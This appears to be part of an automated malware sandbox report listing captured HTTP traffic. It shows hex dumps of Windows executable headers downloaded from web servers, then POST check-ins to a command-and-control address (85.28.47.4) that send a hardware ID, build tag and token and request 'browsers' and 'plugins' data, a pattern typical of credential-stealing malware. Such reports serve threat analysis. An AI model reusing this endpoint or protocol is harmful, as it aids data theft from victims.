Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 03 Jul 2024 21:59:06 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 03 Jul 2024 21:59:07 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 03 Jul 2024 21:59:08 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 03 Jul 2024 21:59:09 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 03 Jul 2024 21:59:13 GMTContent-Type: application/octet-streamContent-Length: 1910272Last-Modified: Wed, 03 Jul 2024 21:46:54 GMTConnection: keep-aliveETag: "6685c6ce-1d2600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 84 ea 61 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e4 04 00 00 c6 01 00 00 00 00 00 00 e0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 4c 00 00 04 00 00 d8 cd 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 a0 06 00 6c 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d4 cb 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 84 cb 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 dc 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ec 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 2b 00 00 b0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 75 65 7a 68 79 78 62 00 10 1a 00 00 c0 31 00 00 0e 1a 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 72 73 73 76 62 6b 7a 00 10 00 00 00 d0 4b 00 00 04 00 00 00 00 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 e0 4b 00 00 22 00 00 00 04 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 03 Jul 2024 21:59:24 GMTContent-Type: application/octet-streamContent-Length: 2465792Last-Modified: Wed, 03 Jul 2024 19:03:23 GMTConnection: keep-aliveETag: "6685a07b-25a000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 4a 8c 64 5a 0e ed 0a 09 0e ed 0a 09 0e ed 0a 09 61 9b a1 09 16 ed 0a 09 61 9b 94 09 03 ed 0a 09 61 9b a0 09 35 ed 0a 09 07 95 89 09 0d ed 0a 09 07 95 99 09 0c ed 0a 09 8e 94 0b 08 0d ed 0a 09 0e ed 0b 09 5a ed 0a 09 61 9b a5 09 01 ed 0a 09 61 9b 97 09 0f ed 0a 09 52 69 63 68 0e ed 0a 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 f6 41 83 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ac 01 00 00 e8 21 00 00 00 00 00 e4 d5 bd 00 00 10 00 00 00 c0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 bd 00 00 04 00 00 00 00 00 00 02 00 40 80 00 00 20 00 00 20 00 00 00 00 20 00 00 20 00 00 00 00 00 00 10 00 00 00 20 b0 9c 00 f7 0d 00 00 18 be 9c 00 0c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 9c 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 01 00 00 10 00 00 00 a4 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 80 00 00 00 c0 01 00 00 40 00 00 00 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 30 21 00 00 40 02 00 00 04 00 00 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 50 00 00 00 70 23 00 00 20 00 00 00 ec 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 c0 78 00 00 c0 23 00 00 28 03 00 00 0c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 64 61 74 61 00 00 00 00 70 21 00 00 80 9c 00 00 6c 21 00 00 34 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIJKEBFBFHIJJKEHDHIHost: 85.28.47.4Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 33 31 38 30 33 44 45 30 46 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6a 6f 6e 79 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 2d 2d 0d 0a Data Ascii: ------BFIJKEBFBFHIJJKEHDHIContent-Disposition: form-data; name="hwid"231803DE0F39786254513------BFIJKEBFBFHIJJKEHDHIContent-Disposition: form-data; name="build"jony------BFIJKEBFBFHIJJKEHDHI--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGCAAAFCBFBAKFHJDBKJHost: 85.28.47.4Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 43 41 41 41 46 43 42 46 42 41 4b 46 48 4a 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 35 66 62 64 63 35 64 30 31 64 33 34 63 34 32 36 34 34 36 64 38 39 31 39 64 37 37 63 35 63 34 66 38 30 35 66 36 34 64 35 33 31 33 65 36 62 38 37 37 61 33 35 34 38 62 32 36 31 38 35 37 66 37 37 62 35 38 64 38 66 39 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 41 46 43 42 46 42 41 4b 46 48 4a 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 41 46 43 42 46 42 41 4b 46 48 4a 44 42 4b 4a 2d 2d 0d 0a Data Ascii: ------DGCAAAFCBFBAKFHJDBKJContent-Disposition: form-data; name="token"75fbdc5d01d34c426446d8919d77c5c4f805f64d5313e6b877a3548b261857f77b58d8f9------DGCAAAFCBFBAKFHJDBKJContent-Disposition: form-data; name="message"browsers------DGCAAAFCBFBAKFHJDBKJ--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFHCAEGCBFHJDGCBFHDAHost: 85.28.47.4Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 35 66 62 64 63 35 64 30 31 64 33 34 63 34 32 36 34 34 36 64 38 39 31 39 64 37 37 63 35 63 34 66 38 30 35 66 36 34 64 35 33 31 33 65 36 62 38 37 37 61 33 35 34 38 62 32 36 31 38 35 37 66 37 37 62 35 38 64 38 66 39 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 2d 2d 0d 0a Data Ascii: 